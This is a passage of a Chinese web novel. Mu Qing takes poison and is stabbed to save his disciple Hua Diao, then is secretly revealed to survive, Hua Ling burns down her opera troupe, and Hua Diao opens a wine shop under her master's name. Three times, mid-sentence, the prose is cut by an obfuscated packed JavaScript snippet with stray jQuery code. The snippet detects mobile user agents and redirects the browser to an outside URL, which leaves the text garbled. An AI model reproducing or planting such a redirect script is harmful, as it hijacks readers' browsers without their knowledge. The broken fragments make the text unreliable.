不再是白衣飘飘,他的衣上都是鲜血,那些都是别人的血——他那般风华绝逸的男子,怎么会把自己弄得如此狼狈? 还是那柄惹了铜绿的剑鞘,没了往日的繁复妆容,凌厉的剑眉,刀削的侧颜,要在以往,她能花痴地看这张脸看好久,可现在,她就希望眼前这人能快点消失。 就在门口,慕卿和狱卒嘀咕了几句:“我知道你们的目标是我,你让我跟我的宝贝徒弟聊聊天,我就乖乖地跟你们走,不然呢,咱们谁都讨不到好,你们真以为我会无备而来?” “行,你最好别耍什么花招,不然,哼哼哼,我们可对这个女娃娃不客气了。”狱卒看向慕卿,有点愣愣的,小声警告了一句。 花雕看着他一步步走到自己面前,每一步,如同拿着匕首划在她心上,一寸寸将她的心刺痛。 “花儿。”慕卿一如既往温柔的语气,面上平静如水,全无哀伤的神色。 “你快走!”隔得太远,花雕触摸不到慕卿,只能拼命地拍打着牢门警告他。木门有些年代了,发出沉闷的声响,铁链被花雕拽得发出“咔哒”的声响。 “花儿别怕,我来救你了。他们要的只是我,你会好好的……”慕卿走近,伸手去摸她凌乱的发和沧桑的颜,那触感很真实,是他往日里那个活蹦乱跳的小徒弟啊,为此慕卿笑得很欣慰。 对面的人只是一个劲地哭,花雕根本不希望慕卿来,他为什么要来? 慕卿以为是花雕近些时日受了委屈,连连安慰她:“别怕……” 就像十多年前他第一次拉着她的手,说“别怕”一样,这两个字对花雕而言,有如魔咒一般的威力,让人神思澄澈。花雕抹干净眼泪,不怕不怕,师父我不怕,师父我知道有你在。 可是现在,师父你快点走好不好,远离这个是非之地。 花雕突然觉得,这辈子,遇到了慕卿,尽管是风雨飘摇,却也是值得了。 慕卿的断剑离了鞘,闪着寒光,照映着他凄楚的眸,那模样,有点像一个被敌国俘虏的忠心爱国的将军,大有即将慷慨就义的味道,他就那么举剑一劈,那牢笼上的锁链“哗啦”一声断了。 两名狱卒闻声而来,看到他劫狱这一幕也不吃惊,任由他打开牢门,走了进去。 等她扶上花雕的臂,立马就有人开口:“若是你不管这个女子的死活,你尽可带着她走,能走多远就走多远,只怕是,到时候没出日辄,她就会死在路上了。” 慕卿瞳孔放大,他的小丫头,被他们怎么了? 那柄剑立刻就横上了来人的脖颈:“你们对她做了什么?” 那人却也不怕他,他可以死,大不了让花雕陪葬嘛:“做了什么?当然是做了一千个一万个你想不到的事情,不然怎么要挟你呢,你可以上天遁地,但是她不能,我们不能耐你如何,只能从她这里下手了,你觉得我想的有道理吗?” 这两人并不是普通的狱卒,而是太子身边的心腹,花伶出了想法,他们俩就趁着慕卿出恭,把花雕绑过来了,并且早些日子就给花雕投了毒——日辄国最不缺的便是毒物。 当然,控制住花雕,慕卿也就束手无策,只能乖乖由他们摆布,这也是慕卿为什么能这么快找到这里的原因,本来就是一场请君入瓮的把戏罢了。 慕卿愤慨,两个大男人,居然拿一个弱女子来要挟他:“你们,卑鄙!” “卑鄙倒是谈不上,只能说是为了达成某一种目的而不择手段。人呐,不能光空想,总有慈悲和善良是不行的,总要做出些什么实际的来,你说是吧?” “……”慕卿攥着手中的拳头,恨得咬牙切齿。 “行了吧,你们好好叙旧,总之能走出这个牢房的,只能有一个人。”那两人有恃无恐,索性先出去了。 那慕卿既然会来,就说明他是在意牢里人的。会留下的,当然也是慕卿。如此他们目的便达成了,既然结局如此,给点时间他们叙叙旧又无碍大局。 “没事的,我先拖住他们,你带着它去找赵泽毅,让他回来救我。他们想要血蛊,我当然不会死,大不了,放一碗血给他们咯。”慕卿拿出一枚玉佩,挂在花雕脖颈上。 这是赵泽毅的玉佩,他们有一个关于它的约定,不过花雕并不知道。 慕卿心想,这可能,是最后一次骗她了。 如此,还不放心,慕卿又补 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598191|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 充道:“那十八坛子酒,你要记得,就埋在屋子的东北方一百步开外。那里面我还加了酿酒的秘籍和你师公的剑谱,如果有机会,你一定不要只做一个站在别人身后被保护的人了,要记得去保护你在意的人。” 以后,可能真的不会再见了,该交代的事情都要交代好。只有一件事慕卿没告诉花雕,其实,我是见过你姐姐的,只不过,花伶并非善茬,他不想再让花雕去冒险了。 先前,慕卿开玩笑,要是花雕以后没有养活自己的办法,就把望南山圈起来,做一个甩手的掌柜,只顾着数钱——春天,桃花盛开,她可以向每一个路过的人收观赏费;夏天,百果挂枝,卖桃子也是一大笔收入。只是玩笑话罢了,怎么可能真的让花雕那么做。 花雕掌心篡着那枚小小的玉,将信将疑,又望向慕卿,企图从他的眼里读出些什么别的情绪,慕卿却不像一个有事人,满脸的坚定。 故作坚强罢了,此时慕卿就想让她走,只要她答应出日辄,回到耿安,找到赵泽毅,那么后面的事都好解决了。 见他眼中的肯定,花雕也没有怀疑慕卿话中的谎意,虽然慕卿的话里满含着离别的意味。 慕卿又不傻,留下来当人质可以,条件他们得答应:“我想要你们给她解毒,把她送出日辄,交到耿安国全县赵将军家九公子赵泽毅手中,不然你们想要的,你们从我这里得不到。” 当然,花雕的安全也必须保证,慕卿还振振有词地说:“到时候,你们拿赵泽毅的亲手书为信物,交换我的血。” 那两人向上级传达了慕卿大概的意思,日辄国国主答应了他的要求——人反正已经到手了,又跑不掉。 虽是普通物件的样式,玉中蕴含的深意是他们都猜不透的。 它是赵泽毅送给慕卿的,喻意佑护他岁岁平安,慕卿听赵泽毅解释后,笑道:“我哪还有岁岁,顶多向天再偷那么两年。” 九月初八那天慕卿临走时告诉赵泽毅,如果见到这个玉,就说明他已经死了。那玉,本来是打算两年后物归原主的。 很快,日辄国的人就带着书信回来了。 花雕安全了。慕卿欣慰至极,想着,真好,这样他就可以安心上路了。 血祭大典上,祭台摆得庄严肃穆,慕卿却从襟中掏出一堆各式各样的瓶瓶罐罐,鹤顶红、半步颠、三寸散……向一众困惑的人解释道:“这些,是我能收集到的毒,一样一瓶,在我今天来之前,我都吃过了,现在还剩这几瓶。你们大可以试试,是我的血更厉害,还是它们的毒更猛烈。” 一瓶又一瓶,他像是饿久了的饕餮,食不知味,给自己灌着。 “拦住他!”高高在上的日辄国主许颢厦原本以为慕卿会乖乖配合,毕竟只是一碗血,又不会要了他的命,哪知道他会如此极端。 士兵们得令上前去,慕卿将瓷瓶悉数摔落在地,里面的药丸早就被他吞得一干二净了。 他宁可死了,也不可能成全他们,否则不知道又有多少人成为受害者,他的血,他们一滴都别想得到。 50. 双生11 这…… 在场的所有人面露为难,暗骂这个慕卿真是丧心病狂。这药人的血都不知效果如何,但他所说的这几味毒,都是真真切切能置人于死地的,况且他还服了这么多。 权衡两者,日辄国的一众人犹豫了,他这样的话再去贸然取血,喝了会死的吧? 即便再怎么抗拒,吞了这么多毒,他怎么可能会安然无恙?这个疯子!真的不要命了! 许未缪不可置信地望着眼前墨发白衣的人——自己明明快要死了,慕卿却见死不救,一点点血于他而言不过是举手之劳,他却不肯施舍,既然注定要死,不如拉着慕卿给他陪葬吧。 众目睽睽下,许未缪拔了身边士兵的剑,猝不及防地向慕卿刺去,一刀两洞,一刀又一刀。长刃贯穿慕卿的身体,黑色的血液自他身体各处涓涓流出,他面上含笑,嘴角带血,像是地狱归来的修罗,让人看着毛骨悚然。 慕卿始终没有躲,这结局本来就在他的意料之中,反正是都要死的,他怕什么!花雕已经到了赵泽毅身边,彻底安全了,他若不死,指不定这些人为了要挟他又拿花雕干些什么丧心病狂的事,用他的两年换花儿的一辈子,这买卖多划算。 他知道,血蛊能帮助修复身体里受损的组织,可眼下,恢复远远赶不上受伤的速度,慕卿承认,自己这么做,有赌的成分在里面,不过,他倒也无所谓生死了。 报复的,疯狂的,许未缪把身旁倒地的人捅成了马蜂窝才泄气,只是这最后一口气没吊上来,就已经先慕卿而去了。 日辄国太子薨。 众人慌慌张张地处理好许未缪的尸体,才把目光扫向了倒在血泊里的慕卿,有人伸手去探了探,发现他已经没了鼻息,许颢厦皱眉,厌恶道:“拿去乱葬岗丢了吧。” 乱葬岗中,白衣的男子被二人用鲜血浸黑的麻袋裹着,随意地丢在了草丛里。 也不知道过了多久,有雨滴落下来,冰凉地打在他的脸上,慕卿自寒冷中醒来,张开眼却发现被什么束缚着,眼前一片漆黑,就摸了随身的佩剑,“呲啦”一声划下去,惊起了旁边啃食腐肉的乌鸦。 - 花雕本来是听从慕卿的指令,抱着一丝希望去找赵泽毅的。 可赵泽毅一看到玉佩,就明白了事情的原委:“他骗你的,估计已经遇害了。” 他死了?花雕这才明白,慕卿又骗了自己,愣了半晌,只是淡淡说道:“那我们……去给他,收尸吧。” 其实花雕打心底不相信慕卿死了,他有药蛊护体,它们怎么会让他死?她就想找个理由让赵泽毅陪她回去看看,去亲口质问一句:你为什么又要骗我? “好。”花雕的淡定倒是让赵泽毅颇为意外,他以为花雕那般在意慕卿,会哭得死去活来,会一哭二闹三上吊,可是她没有。 二人一路打听,才知道慕卿被丢在了乱葬岗里。 乱葬岗地处日辄、玉霄、耿安三国交界,三国权责划分不明,这片晦气之地索性也无人管辖。这里有几百几千具尸体,只因其连着玉霄国的思忆河,南靠望南山,东临铁岭山,故而那些宫里莫名死去的人,那些因战乱或其他原因而横死无人认领的尸体,都被丢在这里,任由日晒雨淋,或腐烂或被附近的野兽啃食,久而久之散发出陈朽的臭味。 慕卿出事后的一段时间,乱葬岗香气冲天,所有人以为闹了鬼,在二人问路时谈之色变。只有花雕知道,那是她熟悉的味道,血蛊的味道,她曾眷念的香,慕卿曾背负的香。 那些血,它们都曾真真切切地是慕卿身上流淌着的一部分,失了那么多血,他一定很疼吧,都怪她没用,要是年幼时跟着慕卿好好学剑,也不会落到贼人的手里,毫无反击之力…… 可是,一切都晚了,后悔也无济于事。乱葬岗香气遮盖了原本的味道,她循着那香的浓淡,一路找啊找,却始终没有找到慕卿的尸体,心里渐渐地凉下去,难道是被吃了? 只有一具白骨边,插着一柄剑,那是慕卿从不离身的佩剑,剑名“归去”。花雕抱着那柄剑,终究是哭出了声。 年少时他教她《十音诀》,慕卿告诉她,这是师公传承下来的剑,名字叫“归去”,是把极其锋利的断剑。 她知那是师公无涯子对慕卿的祝福,愿他有一天不再被身份所困,四处漂走,有一席地、一个家可以栖息,可以一人一剑,止于江湖。 而今,他们终于可以不再东躲西藏了。 花雕望着“归去”,痴痴地念道:“慕卿,我来带你回家,你也有家了。跟着我走,我带你回家。” 我们就在望南山,好好的,哪里也不去。 花雕抱着那柄剑,像一具行尸走肉,任由赵泽毅怎么叫怎么喊,都不搭理他,一路走回了望南山。 赵泽毅呆在望南山陪了花雕好多天,任由他怎么哄怎么逗,花雕都始终沉默。 “我想开一座酒馆,在这里。有时间的话,欢迎你来坐坐。”终于,花雕开了口,指着那座两人曾居住了好久的屋子说道。虽是面上带笑,眼眶却被泪水彻底氤氲。 “傻瓜,别哭,你师父要是知道了,会难过的。”赵泽毅把花雕虚拦在怀里,拍了拍她的肩以示安慰。 “我不哭,我不哭……我笑,我笑……”花雕扯了扯嘴角,拧成别扭的弧度,可偏偏眼泪不争气地串联成珠,然后再也控制不住,抱着腿嚎啕大哭了起来。 赵泽毅只是望着花雕决绝的背影,也未阻拦分毫。其实他比谁都了解慕卿,起初花雕被交到他手上,慕卿只是希望往后赵泽毅能照顾好花雕。毕竟,一个没有慕卿的花雕,不再是任何人的筹码。但花雕有自己的想法,他当然要成全。 “如果你需要有人照应的话,赵府随时欢迎你,慕卿对你很好,相比之下,我也不会待你差他分毫。”赵泽毅走的时候留下了这么一句话,他知道,花雕还是放不下慕卿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598192|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地位可以被替代,名分可以被取缔,永远不会被抹灭的,只有那些深深浅浅的记忆,一抹抹镌刻在花雕的脑海里。 心那么小,只装得下一个慕卿罢了。同她走过万里河山的是他,与她情深缘浅的也是他,到最后,虽身陷囹圄,却一心想保全她的,还是他。 果然,有些人,从相遇开始,就注定要羁绊一生。 日辄国太子驾崩的消息传得满天都是,可没有人知道,那个他们费尽心思千辛万苦寻得的药人,站在祭祀的高台上,面无惧色,衣袂飞扬,淡淡道:“什么长生?你们怕是在痴人说梦吧。” 乱葬岗的香味渐渐散去,那些吸收了慕卿体内血液的植被,因为有了药蛊的滋养,倒是长得极其茂盛。 赵泽毅常常来看花雕,明面上暗地里,品她的酒,看她的忙碌。有一次,正远远地立在村口看她,却撞见了慕卿。 慕卿不再穿得花枝招展,而是一身肃杀冷清的白,立在自己的墓碑前,注视着碑文,赵泽毅差点以为自己大白天撞见了鬼,上前去摸了摸他的额头,确定他有体温,是一个正常人而不是阿飘,才松了一口气。 其实慕卿也常来看花雕,只是远远地,不和她说任何话,不让她感受到自己的存在,换了男装,撇去满头的钗篦和发型模子,也没人认识慕卿。 赵泽毅不知道慕卿是怎么“死”的,也不知道他是如何在众目睽睽下“活”过来的,只是想着花雕无数个眼睛哭成了核桃的日子,质问道:“你这样,不怕她伤心吗?” 慕卿望着那个小小的空冢,上面立了一块碑,写的是“慕卿之墓”,他知道,在她心里,慕卿已经死了。 一个死去的人,又能怎么左右她的生活呢? “她该有属于她的生活,而不是被禁锢在慕卿的名字里。” 傻丫头,我可走了啊,你一个人要好好的。 去过你自己想过的生活,可不要再被我羁绊住了。 要勇敢地去外面的世界闯荡,要坚强,不要再为一点小事哭鼻子了,也要独立,可以不再依靠任何人就活得好好的。 许久未见,二人坐在桃树下,东扯西拉地乱聊天。 刚说完花雕,赵泽毅突然惊喜道:“我发现了,你身上的味道变淡了。” 慕卿笑得春风化雨:“是吗?” 其实慕卿也发现了,不然他是不敢在光天化日之下穿男装的,万一被人察觉,又会引起祸端。 二人也聊人生,聊理想,聊以后。 赵泽毅问他:“还有不到两年,你想去哪里?” “哪里也不去,就想一个人安安静静地呆着。这天地太大了,我走过那么多路,也累了。”慕卿双手抱头,靠在那株老桃树上,风轻云淡地答道。 赵泽毅摇头,颇为不赞同,好不容易慕卿“死”了,理应借着这次新生的机会,光明正大地去看看外面的世界,看看天地浩大,窝在家里像是什么话嘛。 51. 双生12 听闻慕卿拒绝给许未缪提供药蛊治病,被许未缪丧心病狂地刺死,尸体被丢在了乱葬岗,后来花雕去找,也只是空手而归——那慕卿早就被附近的野兽啃没了影。 可是花伶一点都不开心,原来的那种一心想要报复花雕的仇恨感不见了,取而代之的是手足无措,就像是心里装着个无底的深渊,内有填不满的寂寞和空虚。 腹中的孩子一日日长大,她却一日日更加不知所措——那孩子的到来本就是个错误。 要是无垢还在就好了,他可以和花伶一起带着他们的宝宝,看孩子一点点长大,而他们步步老去,这辈子呀,也不需要大富大贵,吃穿不愁,无疾无忧,就很好。 可是白无垢只余下一尊空荡荡的牌位,不会哭也不会笑,只是静静地伫立在案几之上,享受着香火和供奉。 白无垢贵为一国之尊,虽然上位没多久,死后却也是风光大葬,入了皇陵。 花伶想要留个念想,霜满天自然是应允了,白无垢的牌位被她带到了柳源戏班的一间闲置的屋子里供奉着,每当花伶闲来无事,或心中的压抑无处抒发的时候,就时不时来缅怀一下他。 叶童舟常见花伶来,也只是远远地看着她,听她跟那人絮絮念叨些什么。 不知为何,今日却见花伶怒地扬手,将那尊薄薄的牌位打落在地,随着她伸手的动作,墙上的烛影摇曳着,诡异而又凄楚。 “师弟,撒气归撒气,何苦跟一个死了的人过意不去?”见花伶闹得如此大动静,叶童舟走过去,弯腰将那个小方木牌捡起,端正地摆放回原位,掸去上面的灰。 叶童舟看得出来,花伶心中有事,每当遇到这种情况的时候,她总是喜欢一个人呆着,摔手边的东西撒气。 尽管来人是关心她的,花伶却并不领情,没好声气问了句:“你来干什么?” 这次的撞见并不是偶然,叶童舟没事的时候,目光总会尾随着花伶,看她在干什么。可叶童舟也不会大大方方地承认,自己总在看着花伶的一举一动,无论是戏台上,还是戏台下。 叶童舟没想到花伶会这么问,沉思了片刻,说道:“我来……看看你……” 随即叶童舟又顿了顿,补充道:“师弟,有话就说出来,别闷着掖着,会出问题的。” 师弟,这个称呼让花伶觉得很讽刺,明明是女子,却要冠着男子的身份活下去,台下那么多观众,每一个都像是傻子,被他们玩弄于股掌,骗得团团转。除了白无垢,柳源戏班所有人都喊她“师弟”。只是那个会跟在她后面缠着她喊“师姐”的少年,早就和她天人两相隔。 忆及此,花伶心头又是一阵凉,又在心里恨自己,好端端的想起他干嘛,眼泪不要钱是吗? 花伶转身,揩过眼角的泪,故作坚强道:“我……没事。” 这一幕被叶童舟尽收眼底,可花伶不说,他也不太好过问,怕如此显得他唐突,叶童舟只是在心底默默地悲凉了片刻,就随着花伶出了屋。 夜静得像鬼魅,那天夜里,花伶辗转来去,一夜未眠,终于在天边露出浅浅的鱼肚白时,她下定了决心,要做一件大事。 她要告诉沈佳期,她想离开柳源戏班。然后找个没人认识她的地方,将腹中的孩子生下来,抚养他长大成人。后半段花伶不敢告诉沈佳期,未婚先孕,本来就不是什么见得光的事情,沈佳期又是那般严肃,花伶怕沈佳期会发火,会责骂她。 虽然戏子从生到死都会留在戏班里是一个心照不宣的传统,但柳源戏班三条规定,一说不许夜不归宿,二说不能伤及同门,三说不许在外接私活,没有哪一条清楚明白地写着不许离开戏班呀。 可即便是歪理站得住脚,见到沈佳期,花伶心里仍旧是虚的。 “师父,我想走了,想离开柳源戏班。” “为什么?”沈佳期没有想到,花伶有天会跟他说这样一番话,所以他初听来,着实觉得震惊。 回答沈佳期的只有沉默。花伶当然不敢说是因为自己有了白无垢的孩子,可她也找不到理由搪塞过去。既然如此,只能当做是她无理取闹吧,花伶心想。 简单地跟他表达了一番自己的想法,花伶立马看到沈佳期眼底升腾起来的怒意:“你说要走,我偏不成全。纵使你是名满九州的花二爷又怎样?要是没有我,怎么会有今日的你?” 是,她是名满九州,她是忘恩负义,归根到底,她只是沈佳期从大街上捡回来的弃子,她卑微,所以她就可以不被人所爱?不配拥有自己的感情了吗? 名满九州?呵,她花伶宁可不要这劳什子名声。 戏台上风光满面,可私下的委屈又有谁能懂。 无数个暗无天日的日子,陪伴她的,只有白无垢,那个看起来没心没肺,天天想着办法哄她开心的男孩。 可是白无垢死了,花伶的心,早就死在了那个白无垢离开的晚上。本来就难过,却看见她的“好妹妹”那般被人宠爱着,满腔悲楚荡然无存,取而代之的,只有报复。 为什么?她和花雕明明是在一起的,可花雕遇见了一个那么好的师父,待她千般万般好,望向她的目光无敌宠溺温柔,看得她嫉妒丛生。 不,花伶不甘心,凭什么花雕可以过得那么好,她只能活在一个虚假的身份里,用自己薄凉的眼泪,换来世人几点唏嘘,凭什么,凭什么?! 所以她要亲手毁掉花雕的幸福。 呵,本是同根生,亦该同时走向毁灭。仇恨的种子一旦在心底种下,在嫉妒的滋养下,只会越长越旺盛,直到有一天,冲出幽谷,直面天日。 世有双生花,此消彼长,此长彼消,却同生同死,缺一不可。花雕和花伶就是一株植被上的两朵双生花,一朵向阳,一朵向阴,虽同处雾霭,却走向了两个完全一样的结局,同生同死,共同毁灭。 慕卿死后,花伶有些想通了,当时自己的心绪像疯长的杂草。平静下来后,她甚至想不懂,当初是什么让她嫉妒得发了狂。 除了白无垢爱而不得,其他的一切人都很好。 沈佳期待她很好,霜满天爱屋及乌,叶童舟和戏班里的其他人都对他很好。 除了有时候看到姜瑾旭,花伶就莫名其妙地很难过,那样活蹦乱跳的孩子,她也想拥有,她也想给他一个完整的家。花伶也无数次想过这样子女绕膝父母跟前,其乐融融的场面。 可是她,无论如何,都已经做不到了。 要是当时沈佳期带走的是花雕,慕卿带走的是她,一切会不会就都不一样了? 花伶不解,问沈佳期,为什么当初带走的是自己而不是她的妹妹? 沈佳期说,是因为眼神,从你的眼睛里,我看到了不一样的东西,那是一种不甘、倔强,不像花雕,眼睛里只是一片雾蒙蒙的迷茫。相比之下,你的眼神可以勾人心魄,这正是一个戏班人需要的,为的是能把自己身上的角色演活。 沈佳期还没有告诉她,也是因为那个眼神,故而觉得,花伶一定会不甘平庸,所以接受了女扮男装,接受他的所有安排和摆布,在戏台上博得众人喝彩,成为了花二爷,成为了沈佳期的“傀儡”。 这些年,花伶一直很努力,沈佳期的一句不好,都让她茶饭不思地练习千百遍,从一个愣头青到花二爷,花伶走得很艰辛:“可是我早就替你赚得盆满钵满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598193|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这一戏班子人下半辈子都衣食无忧了,你为什么还不放过我?” 是的,多亏了那人,柳源戏班不再颠沛流离,如今他们什么都有了,金钱、名利、权势,可是白无垢不在了,花伶却好像什么都失去了。 “在耿安国,女子是上不了戏台的,你为什么偏偏大红大紫,还不是多亏了我!伶儿,你该谢谢我。” 沈佳期并不是想听那一句“谢谢”,只是觉得那句“放过”有些难听罢了,他也无心禁锢她,只是不想让他们的努力付诸东流——这是他一手教出来的人呐,是一个超级好的苗子。 “谢你?谢你安排了这么一出骗局,把天下人都骗得团团转!什么花二爷,哼,你要是再逼我,我就告诉所有人,到时候世人怎么评价咱们,柳源戏班该怎么立足?沈佳期,大不了我们鱼死网破。”花伶没有办法,她怕沈佳期不放她走,只能这么威胁他。 听花伶把话说得如此决绝,沈佳期一时竟不知道该如何反驳,噎住:“你……” 花伶打了岔,幽幽说道:“沈佳期,我们谁都不欠谁。” 沈佳期气得差点没直接晕了过去,他想留住花伶,不仅是因为柳源戏班,更是为了她,他早就将她视作亲生女儿,他不过是希望留她在身边,让她安稳地度日,免得在外面颠沛流离。 只可惜,鸟儿大了,终究是想飞出林子的,姑娘大了,嫌家小了,还是想去看外面的天地。 沈佳期记得花伶刚来柳源戏班的时候,跟在他身后,那模样乖巧至极,让他每次出门的时候,都想带上她,在每次路过卖各种小零嘴的铺子时,都忍不住给她买一些好吃的。 只可惜,当初那个天真无邪的小丫头不见了,沈佳期也老了。 两人的聊天不欢而散。细想来,长这么大,花伶还是头一次忤逆沈佳期。 也是第一次,花伶觉得,一生太长了,十几年过得浑浑噩噩的,真正属于她的快乐时光又有多少,花伶真的觉得好累。 漆黑的夜,没有半点星星,阴森得怕人,花伶用烈酒浇了柴火,点了一个火把,站在夜里,凝望了很久,直至夜幕深沉。 这是她实现自己的地方,三尺高台,一副还不错的嗓子,因那个少年而积攒来的幸运,莫名而来的人气,也因他而伤心失意,唱遍戏中离别挽歌——那时仿佛每一个戏中人都是自己,泪是真的,痛也真切,心碎得很彻底。 一切,从这里开始,就都从这里结束吧。 既然沈佳期不让她离开柳源戏班,如果柳源戏班没了,她是不是就可以走了? 最终,花伶眼神坚毅,目光里没有丝毫犹豫,将手中的火把丢上了柴垛。 火蛇开始蹿上柴堆,花伶想拔腿就跑,走出柳源戏班,离开这一切,离得远远的。可是脚上跟灌了铅似的,愣是迈不开步子,她是畏火的,柳源戏班也有这么一场火,虽然那时她还小,却被吓得不轻。花伶记忆很深刻,那场火后,叶童舟断了腿,从此和高高的戏台再没半点干系,柳源戏班也算是折了一枚得力干将。 满目的火红,烧得疮痍,梁柱开始崩塌,黑烟滚滚翻涌而来,这一把火,烧掉的,花伶知道,不止是往事,还有未来。 “着火了!着火了!”面对汹涌火势,有人惊呼道,这场景,像极了十多年前在玉霄国的那个傍晚,那时才吃过饭,所有人都闭目养神,一场意外却猝不及防地发生了…… “伶儿……伶儿……”叶童舟拨开黑烟,一瘸一拐地在屋内搜寻着那人的身影。 白天花伶才和沈佳期吵完架,晚上指不定要做什么傻事,万万没想到,这丫头走向了极端,竟然一把火把柳源戏班烧了。 52. 酒尽桃花凉18 按照慕卿所言,花雕真的在十八坛子酒旁边挖出了一个木箱子,箱子里面有铺了干草、木炭和石灰精心保存的古籍——是酿酒的秘籍和师公的剑谱。 其实,师父早就想到会有这么一天的吧,替她打点好了后路。 花雕还记得慕卿说,如果有机会,你一定不要只做一个站在别人身后被保护的人了,要记得去保护你在意的人。 花雕知道,如果自己再强大那么一点点,慕卿的结局可能就会不一样了。花雕有点埋怨自己,可是她知道,每天一副恨铁不成钢的模样也无济于事,她应该做出改变。 花雕把那两本厚厚的古籍死死抱在胸前,眼泪夺眶而出。好,我会好好学,师父,你的在天之灵就看着吧! 花雕变了,每天不再睡得日上三竿,也开始翻阅慕卿留下来的酒谱和剑谱,尝试自己酿酒,自学练剑。 尽管酒酿得不及那人十分之一,剑也舞得像是一盘散珠,零零碎碎的,可花雕从未放弃半分,这点困难都克服不了,怎么成为去保护别人的人? 慢慢地,如她和赵泽毅所言的那般,花雕开始张罗起了自己的小酒馆。 同样改变的,还有名字,她将自己的名字从“花雕”改成了“慕卿”。 师父,以后这世间没有花雕了,花雕以后就是慕卿了,以后我会做你的眸,去替你观这个世界,做你的心,去替你爱这个世界。 你说好不好?花雕站在桃树下,满山的枯叶零落地纷飞着,抚过她的眉眼和衣角,似是回应。 - 日辄国献血大典后,坊间百姓都相信慕卿死了,死在了暴戾迷信的统治者手中,无不为之遗憾,那个男人一生如果没有背负着不属于他的东西,只是酿酒该多好。 可不曾想,望南山上,又有了一个小小的酿酒师,是个女孩,她的酒,有慕卿酒里的味道,更巧合的是,她也叫慕卿。 坊间便又有了流言,说是慕卿没有死…… 药人没了,空山谷也偃旗息鼓,不再追究,他们知道,纵使再出来一千个一万个慕卿,也不是他们当初的那个药人。 谷主曾经亲眼看着慕卿喝下各式各样的毒药,看他的唇角肆意地勾起,黑色的血液自他的嘴角流出,一副玩世不恭的模样,诡异至极。 于空山谷而言,曾经的慕卿是酿酒师,他的酒酿得再好,也没有一个养了几十年的药人重要。 慕卿走后的几天,他的尸体被丢在了乱葬岗,香气冲天,附近的村民都说乱葬岗闹了鬼,外人道听途说,更是不敢来望南山。只有花雕知道,那是吸食了兰芝百草滋补后的血蛊,那是他身上的味道。 花雕找不到慕卿的尸体,就为他立了个衣冠冢,把他的墓建在了那十八坛酒附近,就在自家娘亲的墓冢旁边。 然后在最初他们相遇的地方,开了一家不大不小的酒肆。虽然地理位置偏僻,又有“闹鬼”一说,但总敌不过某些酒鬼肚子里的馋虫,总有人慕名而来。 名,当然是师父慕卿的名。 酒,当然是花雕钻研古籍捯饬出来的,不及慕卿十分之一。 花雕常想,师父要是知道了自己拿着他的名声卖酒,会不会气得棺材板都按捺不住了,跳出来…… 有时花雕会望着慕卿的墓碑,埋怨道,可是你倒是跳出来啊,我想你了,想着想着,眼泪又婆娑了几分。 除了偶尔下山逛逛,其余的时间,花雕都埋在酒坛子里。 那十八坛子酒她一直都珍藏着,从未启封,直到某一天,她又开始想慕卿,就拿酒出气,抱着坛子就是“吨吨吨”一阵乱灌。 心里埋怨,慕卿你不能陪我走过那么多的路,却送我这么多坛酒,我从最先的一坛开始喝,喝到最后,越来越淡,等全部喝完了,我就忘了你,做一个新的我,不再为你而活。 爱而不得,想念却不能相见,却又见满树的桃花开得正好,又想起那人说守着望南山收观赏费、卖桃子的调侃,花雕心中愤懑,趁着酒意,比划着练得只有皮毛的剑诀,砍烂了满山的桃花。 累了,也醉了,最后倒在百花丛中,不省人事。 把她捡回去的女子叫林青筱,是一个满脑子装着江湖的女子。 慕卿的最后几坛子酒就是被她喝完了,当时她还抱着酒坛问花雕:“好香,这是什么酒呀?” 这是慕卿的酒,当然没有名字,想着满山的桃花,花雕淡淡答道:“桃花劫。” 见林青筱贪杯喝醉,慕卿留下的最后几坛酒已经见了底,花雕想起自己曾说过的在喝完最后一坛酒就忘了慕卿的气话,喃喃道:“师父,我的酒喝完了,没有了,都没有了,可你还在我心中,根本挥之不去啊。” 因为“桃花劫”,林青筱死活不肯走,非要赖在望南山跟花雕学酿酒,桃花劫是慕卿酿的,花雕当然是没有那般技艺,听林青筱说想学,便更加刻苦钻研起来。 也不管花雕答不答应,林青筱跟着后面就是一顿“师父、师父”乱叫。 每声师父,都让花雕想起那个人,那段过往,不由得让她伤感,终于,花雕提议道:“青筱,我们做姐妹吧。” 可林青筱根本改不了口。 某天见花雕独自上山,林青筱屁颠屁颠跟在她身后,却见得眼前的两座荒冢,脱口问道:“师父,这是谁的墓碑啊?” “这是我娘和我师父的墓。” 两个一样大小的墓,甚至连碑文上的石刻都是一样的字体,区别只是一个旧,一个新。 